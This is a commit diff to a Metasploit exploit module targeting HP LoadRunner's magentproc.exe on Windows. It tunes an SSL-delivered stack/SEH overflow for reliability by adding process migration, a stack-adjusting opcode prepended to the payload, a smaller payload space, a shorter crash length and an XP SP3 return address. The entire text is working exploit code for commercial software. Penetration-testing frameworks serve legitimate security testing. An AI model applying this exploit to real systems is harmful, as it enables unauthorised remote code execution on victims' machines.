Improve reliability

modules/exploits/windows/misc/hp_loadrunner_magentproc.rb

@@ -36,15 +36,16 @@ class Metasploit3 < Msf::Exploit::Remote
       'Privileged'     => false,
       'DefaultOptions' =>
         {
-          'EXITFUNC' => 'seh',
           'SSL' => true,
-          'SSLVersion' => 'SSL3'
+          'SSLVersion' => 'SSL3',
+          'PrependMigrate' => true
         },
       'Payload'        =>
         {
-          'Space'    => 5724, # without rop chain
-          'StackAdjustment' => -3500,
-          'BadChars' => "\x00"
+          'Space'    => 4096,
+          'DisableNops' => true,
+          'BadChars' => "\x00",
+          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
         },
       'Platform'       => 'win',
       'DefaultTarget'  => 0,
@@ -56,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote
               # magentproc.exe 11.0.0.1002
               'Offset' => 1104,
               'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates
-              'Crash' => 10000 # Length needed to ensure an exception
+              'Crash' => 6000 # Length needed to ensure an exception
             }
           ]
         ],
@@ -74,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
     req << rand_text(target['Crash'])
 
     connect
-    print_status("sending 1")
+    print_status("Sending malicious request...")
     sock.put(req)
     disconnect